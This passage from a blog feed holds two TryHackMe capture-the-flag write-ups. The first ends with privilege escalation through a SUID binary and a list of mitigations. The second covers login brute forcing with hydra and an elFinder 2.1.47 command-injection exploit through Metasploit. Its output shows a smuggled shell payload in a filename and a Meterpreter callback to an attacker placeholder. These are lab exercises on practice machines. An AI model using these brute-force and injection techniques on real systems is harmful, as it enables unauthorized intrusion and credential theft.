&lt;code&gt;/root/root.jpg&lt;/code&gt; into &lt;code&gt;hakanbey&lt;/code&gt;'s home directory, printing a hint along the way.&lt;br&gt;
Rather than guess, tried &lt;code&gt;ltrace&lt;/code&gt; against it to watch how the comparison string gets&lt;br&gt;
built at runtime, and threw in a &lt;code&gt;;id&lt;/code&gt; as the input just to see how it handled&lt;br&gt;
unexpected input along the way:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ltrace /usr/bin/binary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;strcat("war", "zone")                                                = "warzone"
strcat("warzone", "in")                                              = "warzonein"
strcat("warzonein", "ada")                                           = "warzoneinada"
strcat("warzoneinada", "na")                                         = "warzoneinadana"
printf("I think you should enter the cor"...)                        = 52
__isoc99_scanf(0x5618ba926edd, 0x7fffd21eb9e0, 0, 0I think you should enter the correct string here ==&amp;gt;;id
)                 = 1
strcmp(";id", "warzoneinadana")                                      = -60
strcat("pki", "l")                                                   = "pkil"
strcat("pkil", "l")                                                  = "pkill"
strcat("pkill", " -9")                                               = "pkill -9"
strcat("pkill -9", " -t")                                            = "pkill -9 -t"
strcat("pkill -9 -t", " pts")                                        = "pkill -9 -t pts"
strcat("pkill -9 -t pts", "/0")                                      = "pkill -9 -t pts/0"
system("pkill -9 -t pts/0"pkill: killing pid 2868 failed: Operation not permitted
pkill: killing pid 7487 failed: Operation not permitted
[00:21:52] warning: &amp;lt;ATTACKER_IP&amp;gt;:57526: connection reset
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two useful things fall out of this trace. First, the binary builds the expected&lt;br&gt;
passphrase piecemeal via a chain of &lt;code&gt;strcat&lt;/code&gt; calls, &lt;code&gt;"war" + "zone" + "in" + "ada" +&lt;br&gt;
"na"&lt;/code&gt; = &lt;code&gt;"warzoneinadana"&lt;/code&gt;, then &lt;code&gt;strcmp&lt;/code&gt;s it against whatever was typed in. No need&lt;br&gt;
to guess the pattern by hand, &lt;code&gt;ltrace&lt;/code&gt; just hands you the literal comparison value.&lt;br&gt;
Second, entering &lt;code&gt;;id&lt;/code&gt; as a wrong guess triggers a punitive &lt;code&gt;system("pkill -9 -t&lt;br&gt;
pts/0")&lt;/code&gt; that kills the current pty (a crude anti-tampering measure, and also a hint&lt;br&gt;
that the input isn't sanitized before hitting something command-related, though it&lt;br&gt;
didn't pan out as an injection point here since the killed session interrupted&lt;br&gt;
things before that could be explored further).&lt;/p&gt;

&lt;p&gt;With the real passphrase in hand from the trace, ran the binary properly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/bin/binary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;I think you should enter the correct string here ==&amp;gt;warzoneinadana
Hint! : Hexeditor 00000020 ==&amp;gt; ???? ==&amp;gt; /home/hakanbey/Desktop/root.jpg (CyberChef)
Copy /root/root.jpg ==&amp;gt; /home/hakanbey/root.jpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Correct passphrase (&lt;code&gt;warzoneinadana&lt;/code&gt;), and a hint pointing straight at hex-editing&lt;br&gt;
the copied JPEG and running it through CyberChef.&lt;/p&gt;
&lt;h3&gt;
  
  
  7.1 Pulling the hidden bytes
&lt;/h3&gt;

&lt;p&gt;Followed the hint and dumped 16 bytes starting at offset &lt;code&gt;0x20&lt;/code&gt; in the copied&lt;br&gt;
&lt;code&gt;root.jpg&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xxd &lt;span class="nt"&gt;-s&lt;/span&gt; 0x00000020 &lt;span class="nt"&gt;-l&lt;/span&gt; 16 &lt;span class="nt"&gt;-p&lt;/span&gt; root.jpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fee99d3d79185ffc826ddf1c69acc275
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Decoding in CyberChef
&lt;/h3&gt;

&lt;p&gt;Fed that hex string into CyberChef with a two-step recipe: &lt;strong&gt;From Hex&lt;/strong&gt; (Auto&lt;br&gt;
delimiter) into &lt;strong&gt;To Base85&lt;/strong&gt; with a custom alphabet (&lt;code&gt;!-u&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root:Go0odJo0BbBro0o
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A &lt;code&gt;user:password&lt;/code&gt; pair for root, hidden behind hex offsets and a non-standard Base85&lt;br&gt;
alphabet, a nice final twist for an "easy" box.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.3 Root
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;su root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@ubuntu:~# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root achieved.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;JPEG on an unauthenticated directory listing conceals steghide-protected FTP credentials, cracked with a provided wordlist&lt;/td&gt;
&lt;td&gt;Initial FTP access as &lt;code&gt;hakanftp&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;wp-config.php&lt;/code&gt; readable in plaintext over FTP (world-readable file permissions)&lt;/td&gt;
&lt;td&gt;Database credentials disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;phpMyAdmin exposed with weak/default credentials (&lt;code&gt;phpmyadmin:12345&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Full database read/write, discovery of hidden subdomain vhost&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;FTP account has write access to the live web root of a second vhost&lt;/td&gt;
&lt;td&gt;Arbitrary PHP webshell upload -&amp;gt; RCE as &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Weak, guessable &lt;code&gt;su&lt;/code&gt; password for &lt;code&gt;hakanbey&lt;/code&gt;, following a predictable pattern seen elsewhere on the box&lt;/td&gt;
&lt;td&gt;Local privilege escalation via offline/local &lt;code&gt;su&lt;/code&gt; bruteforce&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Custom root-owned SUID binary gated by a weak hardcoded passphrase, leaking a further encoded root credential&lt;/td&gt;
&lt;td&gt;Privilege escalation to root&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; [Nmap: FTP 21 + WordPress 80]
              |
              v
 [/announcements: ant.jpg + wordlist.txt]
              |  stegcracker + wordlist
              v
 [steg payload -&amp;gt; base64 -&amp;gt; FTP creds: hakanftp]
              |
              v
 [FTP login] --&amp;gt; [.bash_history hint] --&amp;gt; [wp-config.php: DB creds]
              |
              v
 [phpMyAdmin login: phpmyadmin/12345]
              |
              v
 [wp_options: siteurl -&amp;gt; subdomain.adana.thm]
              |
              v
 [FTP upload revshell.php to subdomain webroot]
              |
              v
 [RCE as www-data] --&amp;gt; [web flag]
              |
              v
 [sucrack (built from source) bruteforces su for hakanbey]
              |
              v
 [su hakanbey] --&amp;gt; [user flag]
              |
              v
 [/usr/bin/binary SUID: passphrase "warzoneinadana"]
              |
              v
 [hex dump root.jpg @0x20 -&amp;gt; CyberChef From Hex -&amp;gt; To Base85 (custom alphabet)]
              |
              v
 [root credentials] --&amp;gt; [su root] --&amp;gt; [root flag]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Do not store credentials, even "hidden" ones, inside images served from a
world-readable directory. Steganography is not a substitute for access control.&lt;/li&gt;
&lt;li&gt;Restrict FTP account permissions to the minimum required; &lt;code&gt;hakanftp&lt;/code&gt; should not
have had read access to &lt;code&gt;wp-config.php&lt;/code&gt; or write access to a live web root.&lt;/li&gt;
&lt;li&gt;Set restrictive file permissions on &lt;code&gt;wp-config.php&lt;/code&gt; (&lt;code&gt;640&lt;/code&gt; or tighter, owned by the
web server user only) so credentials aren't recoverable via any file-read path.&lt;/li&gt;
&lt;li&gt;Remove or properly secure phpMyAdmin in production; if it must be exposed,
enforce strong, unique credentials and restrict access by IP.&lt;/li&gt;
&lt;li&gt;Don't reuse predictable password patterns across services; a leaked password
fragment on one account should not make other accounts guessable.&lt;/li&gt;
&lt;li&gt;Enforce strong, randomly generated passwords for all local accounts subject to
&lt;code&gt;su&lt;/code&gt;, and consider rate-limiting or disabling &lt;code&gt;su&lt;/code&gt; bruteforce vectors (e.g.
&lt;code&gt;pam_tally2&lt;/code&gt;/&lt;code&gt;faillock&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Avoid custom SUID binaries that gate access with hardcoded or weak secrets;
any embedded "hint" mechanism defeats the purpose of the control. Prefer proper
&lt;code&gt;sudo&lt;/code&gt; rules with least privilege instead of bespoke SUID tooling.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecuirty</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe : Lookup writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 12 Aug 2026 09:29:46 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-lookup-writeup-5e6m</link>
      <guid>https://dev.to/exploitnotes/tryhackme-lookup-writeup-5e6m</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Lookup is an easy Linux box built around a login portal that redirects authenticated users to a vhost-hosted elFinder file manager. Username enumeration on the login form combined with password brute forcing yields valid credentials, which unlock a vulnerable elFinder 2.1.47 instance. A Metasploit module exploiting an exiftran command injection in the PHP connector gives a &lt;code&gt;www-data&lt;/code&gt; shell. A custom SSH password wordlist built around the compromised user's naming pattern cracks the &lt;code&gt;think&lt;/code&gt; account, and a SUID &lt;code&gt;look&lt;/code&gt; binary misconfiguration in sudoers grants root file read access.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 80 redirects to a vhost, so it gets added to &lt;code&gt;/etc/hosts&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;MACHINE_IP&amp;gt; lookup.thm'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. Web Enumeration
&lt;/h2&gt;

&lt;p&gt;Root of &lt;code&gt;lookup.thm&lt;/code&gt; serves a simple login form posting to &lt;code&gt;login.php&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://lookup.thm/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"login.php"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.1 Username enumeration
&lt;/h3&gt;

&lt;p&gt;The application returns different error strings depending on whether the username exists:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://lookup.thm/login.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=admin&amp;amp;password=admin'&lt;/span&gt;
Wrong password. Please try again.

curl http://lookup.thm/login.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=test&amp;amp;password=admin'&lt;/span&gt;
Wrong username or password. Please try again.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a textbook user-enumeration oracle - "Wrong password" confirms the username exists, "Wrong username or password" means it doesn't.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2 Username brute force
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-L&lt;/span&gt; /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt &lt;span class="nt"&gt;-p&lt;/span&gt; wrongpass lookup.thm http-post-form &lt;span class="s2"&gt;"/login.php:username=^USER^&amp;amp;password=^PASS^:S=Wrong password"&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 64
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[80][http-post-form] host: lookup.thm   login: admin   password: wrongpass
[80][http-post-form] host: lookup.thm   login: jose    password: wrongpass
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Valid usernames: &lt;code&gt;admin&lt;/code&gt;, &lt;code&gt;jose&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 Password brute force
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; jose &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/rockyou.txt lookup.thm http-post-form &lt;span class="s2"&gt;"/login.php:username=^USER^&amp;amp;password=^PASS^:Wrong password"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[80][http-post-form] host: lookup.thm   login: jose   password: password123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.4 Authenticated redirect
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; http://lookup.thm/login.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=jose&amp;amp;password=password123'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt; Set-Cookie: login_status=success; ...
&amp;lt; Location: http://files.lookup.thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add the new vhost and confirm with ffuf that it's the only relevant subdomain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;MACHINE_IP&amp;gt; lookup.thm files.lookup.thm'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts

ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://lookup.thm/ &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"HOST: FUZZ.lookup.thm"&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt &lt;span class="nt"&gt;-ac&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www   [Status: 200, Size: 719, Words: 114, Lines: 27, Duration: 2432ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. elFinder Discovery
&lt;/h2&gt;

&lt;p&gt;Using the &lt;code&gt;login_status&lt;/code&gt; cookie to access the new vhost reveals an elFinder web file manager:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt http://lookup.thm/login.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=jose&amp;amp;password=password123'&lt;/span&gt;
curl &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt http://files.lookup.thm/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;elFinder&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="nx"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;elFinderConfig&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;defaultOpts&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;url&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;php/connector.minimal.php&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Browsing directly and opening the "About" dialog (question mark icon) in the UI confirms the exact version:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;elFinder 2.1.47, protocol version 2.1047&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The root listing browsable through the file manager also exposes a set of interesting text files (&lt;code&gt;credentials.txt&lt;/code&gt;, &lt;code&gt;adm.txt&lt;/code&gt;, &lt;code&gt;admin.txt&lt;/code&gt;, &lt;code&gt;administrator.txt&lt;/code&gt;, &lt;code&gt;ansible.txt&lt;/code&gt;, &lt;code&gt;azureuser.txt&lt;/code&gt;, &lt;code&gt;ec2-user.txt&lt;/code&gt;, &lt;code&gt;ftp.txt&lt;/code&gt;, &lt;code&gt;puppet.txt&lt;/code&gt;, &lt;code&gt;root.txt&lt;/code&gt;), consistent with a username/credential-harvesting wordlist staged on the box.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Exploitation - elFinder Exiftran Command Injection
&lt;/h2&gt;

&lt;p&gt;elFinder 2.1.47's PHP connector is vulnerable to command injection via the exiftran image-rotation command, exploited through Metasploit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfconsole
search elfinder 2.1.47
use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
&lt;span class="nb"&gt;set &lt;/span&gt;RHOSTS files.lookup.thm
&lt;span class="nb"&gt;set &lt;/span&gt;RPORT 80
&lt;span class="nb"&gt;set &lt;/span&gt;LHOST tun0
run
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] Uploading payload 'IYlgUsiQat.jpg;echo &amp;lt;hex-encoded-payload&amp;gt; |xxd -r -p |sh&amp;amp; #.jpg' (1948 bytes)
[*] Triggering vulnerability via image rotation ...
[*] Executing payload (/elFinder/php/.LjjKJ9S.php) ...
[*] Sending stage (45739 bytes) to &amp;lt;MACHINE_IP&amp;gt;
[+] Deleted .LjjKJ9S.php
[*] Meterpreter session 1 opened (&amp;lt;ATTACKER_IP&amp;gt;:4444 -&amp;gt; &amp;lt;MACHINE_IP&amp;gt;:34990)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; getuid
Server username: www-data
meterpreter &amp;gt; shell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: the first attempt with &lt;code&gt;LHOST&lt;/code&gt; bound to the wrong interface silently failed ("Exploit completed, but no session was created"); re-setting &lt;code&gt;LHOST&lt;/code&gt; to the tun0 VPN adapter fixed callback delivery.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Post-Exploitation Enumeration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/var/www&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /home
ssm-user  think  ubuntu

&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home/think/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rw-r----- 1 root  think  525 Jul 30  2023 .passwords
-rw-r----- 1 root  think   33 Jul 30  2023 user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;.passwords&lt;/code&gt; is owned &lt;code&gt;root:think&lt;/code&gt; and not world-readable, so &lt;code&gt;www-data&lt;/code&gt; can't read it directly.&lt;/p&gt;

&lt;p&gt;A SUID binary is found during a broader search:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/sbin/pwm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/sbin/pwm -h
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;pwm&lt;/code&gt; is a custom password-mutation helper that reads the invoking user's &lt;code&gt;~/.passwords&lt;/code&gt; file and generates candidate password permutations from it. As &lt;code&gt;www-data&lt;/code&gt; there is no &lt;code&gt;.passwords&lt;/code&gt; file to seed it, but the behavior confirms &lt;code&gt;think&lt;/code&gt;'s &lt;code&gt;.passwords&lt;/code&gt; file is the source of a personalized password scheme (name + separator + relative/nickname).&lt;/p&gt;

&lt;h2&gt;
  
  
  6. SSH Access as think
&lt;/h2&gt;

&lt;p&gt;A wordlist was hand-crafted around the naming convention observed (&lt;code&gt;jose&lt;/code&gt; combined with names/dates using &lt;code&gt;.&lt;/code&gt; and &lt;code&gt;&amp;amp;&lt;/code&gt; separators):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; pass.txt &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
jose&amp;amp;takie
jose&amp;amp;samantha
jose&amp;amp;pam
josemario.AKA(think)
jose.medina.
...
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; think &lt;span class="nt"&gt;-P&lt;/span&gt; pass.txt ssh://lookup.thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[22][ssh] host: lookup.thm   login: think   password: josemario.AKA(think)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/var/www&lt;span class="nv"&gt;$ &lt;/span&gt;su think
Password:
think@ip-&amp;lt;MACHINE_IP&amp;gt;:/var/www&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;think&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;think&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;think&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
